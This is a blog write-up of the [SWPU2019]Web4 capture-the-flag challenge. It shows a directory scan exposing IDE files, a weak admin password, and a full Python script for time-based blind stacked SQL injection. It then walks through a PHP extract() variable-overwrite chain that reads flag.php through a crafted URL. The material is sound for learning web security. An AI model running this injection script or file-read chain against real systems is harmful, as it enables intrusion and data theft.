Rock's blog

兴趣是最好的老师

0%

[SWPU2019]Web4

[SWPU2019]Web4

程序上来是一个登录页面,先尝试注册,提示”注册功能尚未开放!“

后端是php,扫一下目录。

1
2
3
[16:04:39] 200 -  174B  - /.idea/misc.xml
[16:04:39] 200 - 296B - /.idea/modules.xml
[16:04:40] 200 - 19KB - /.idea/workspace.xml

看来是idea的配置文件夹。

访问workspace.xml

里面记录着工程里创建的文件,挨个访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<component name="editorHistoryManager">
<entry file="file://$PROJECT_DIR$/readme.md"/>
<entry file="file://$PROJECT_DIR$/View/userList.php"/>
<entry file="jar://$APPLICATION_HOME_DIR$/plugins/php/lib/php.jar!/stubs/json/json.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="-2590">
<caret line="117" column="74" lean-forward="true" selection-start-line="117" selection-start-column="74" selection-end-line="117" selection-end-column="74"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/static/js/login.js">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="150">
<caret line="10" column="13" lean-forward="true" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="13"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/View/userLogin.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="555">
<caret line="37" column="22" lean-forward="true" selection-start-line="37" selection-start-column="22" selection-end-line="37" selection-end-column="22"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Lib/Safe.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="90">
<caret line="6" column="130" selection-start-line="6" selection-start-column="130" selection-end-line="6" selection-end-column="130"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Lib/DBTool.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="60">
<caret line="39" column="5" lean-forward="true" selection-start-line="39" selection-start-column="5" selection-end-line="39" selection-end-column="5"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Lib/Page.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="-75">
<caret line="95" column="9" lean-forward="true" selection-start-line="95" selection-start-column="9" selection-end-line="95" selection-end-column="9"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Model/TestModel.php"/>
<entry file="file://$PROJECT_DIR$/test.php"/>
<entry file="file://$PROJECT_DIR$/Common/config.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="90">
<caret line="6" column="19" selection-start-line="6" selection-start-column="8" selection-end-line="6" selection-end-column="19"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/index.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="135">
<caret line="9" selection-start-line="9" selection-end-line="9"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Common/Tools.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="45">
<caret line="3" column="6" selection-start-line="3" selection-start-column="6" selection-end-line="3" selection-end-column="6"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Model/BaseModel.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="105">
<caret line="7" column="26" lean-forward="true" selection-start-line="7" selection-start-column="26" selection-end-line="7" selection-end-column="26"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Model/LoginModel.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="60">
<caret line="4" column="1" lean-forward="true" selection-start-line="4" selection-start-column="1" selection-end-line="4" selection-end-column="1"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Model/UserModel.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="120">
<caret line="8" column="15" selection-start-line="8" selection-start-column="8" selection-end-line="8" selection-end-column="15"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/flag.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="30">
<caret line="2" column="48" lean-forward="true" selection-start-line="2" selection-start-column="48" selection-end-line="2" selection-end-column="48"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/View/userInfo.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="30">
<caret line="2" column="11" selection-start-line="2" selection-start-column="11" selection-end-line="2" selection-end-column="11"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Controller/LoginController.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="540">
<caret line="36" column="88" selection-start-line="36" selection-start-column="88" selection-end-line="36" selection-end-column="88"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Common/fun.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="150">
<caret line="10" column="29" selection-start-line="10" selection-start-column="16" selection-end-line="10" selection-end-column="29"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Controller/BaseController.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="270">
<caret line="18" column="31" selection-start-line="18" selection-start-column="31" selection-end-line="18" selection-end-column="31"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/View/userIndex.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="405">
<caret line="27" column="20" lean-forward="true" selection-start-line="27" selection-start-column="20" selection-end-line="27" selection-end-column="20"/>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/Controller/UserController.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="270">
<caret line="18" selection-start-line="18" selection-end-line="18"/>
</state>
</provider>
</entry>
</component>

发现/View/userIndex.php有信息。

image-20220219162124897

看看图片中也没什么信息。

再试试sql注入。

发现单引号会导致报错,fuzz后无法识别出拦截哪些字符。

尝试弱口令爆破一下登录页面,发现admin/123456密码正确,但页面没有任何反应

image-20220315201334550

感觉还是在sql注入上有问题

通过查看wp发现存在堆叠注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import binascii
import time

url = "http://8a954174-9913-4c40-99ef-d3348eb6502c.node4.buuoj.cn:81/index.php?r=Login/Login"

res = ""

for j in range(100):
for i in range(33,127):
payload = "select if((ord(substr((select flag from flag),{},1))={}),sleep(5),1)".format(j, i)
payload = '{"username":"admin\';set @a=0x' + binascii.b2a_hex(payload.encode()).decode() + ';prepare test from @a;execute test;","password":"123456"}'
startTime = time.time()
r = requests.post(url, data=payload)
# r = requests.post(url, data=payload, proxies=proxy)
endTime = time.time()
print(str(r.status_code) + "\t" + chr(i), end="\r")
if endTime-startTime >= 5 and endTime-startTime < 6:
res += chr(i)
print("\n" + res)
break

跑出来glzjin_wants_a_girl_friend.zip

访问获得源码

通读代码,梳理出各文件的作用

image-20220320112449814

common文件夹定义了程序连接数据库的配置,和工具函数,其中fun.php实现了路由功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";


if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}

比如提交的参数为User/Index就会调用Usercontroller.php中的actionIndex()方法。

controller文件夹定义了3种控制器,用于加载不同的前端视图(View)。

其中BaseController.php是基类,其extract()函数处可能存在任意变量覆盖,借助include可实现任意文件包含。接下来需要找到是否有哪个controller调用了loadView()函数且第二个参数可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 

/**
* 所有控制器的父类
*/
class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

可以找到在UserController中actionIndex()$_REQUEST直接传入loadView()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 

/**
* 用户控制器
*/
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

}

View文件夹中定义了3个视图,用来前端展示给用户,其中UserIndex.php中imgToBase64()函数存在读文件的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<div class="container">
<div class="row">
<div class="col-sm-4">
<h2>关于我</h2>
<h5>我的照片:</h5>
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>
</div>
</div>
</div>

</body>
</html>
<?php
function imgToBase64($img_file) {

$img_base64 = '';
if (file_exists($img_file)) {
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

$fp = fopen($app_img_file, "r"); // 图片是否可读权限

if ($fp) {
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码
switch ($img_info[2]) { //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}

$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

}
fclose($fp);
}

return $img_base64; //返回图片的base64
}
?>

结合以上链条和fun.php功能我们可以通过访问Index.php,调用fun.php,同时传入r=User/Index来调用UserController中的actionIndex(),同时include/View/userIndex.php。通过extract()函数覆盖$img_file来调用imgToBase64()读取flag.php。

1
/index.php?r=User/Index&img_file=/../flag.php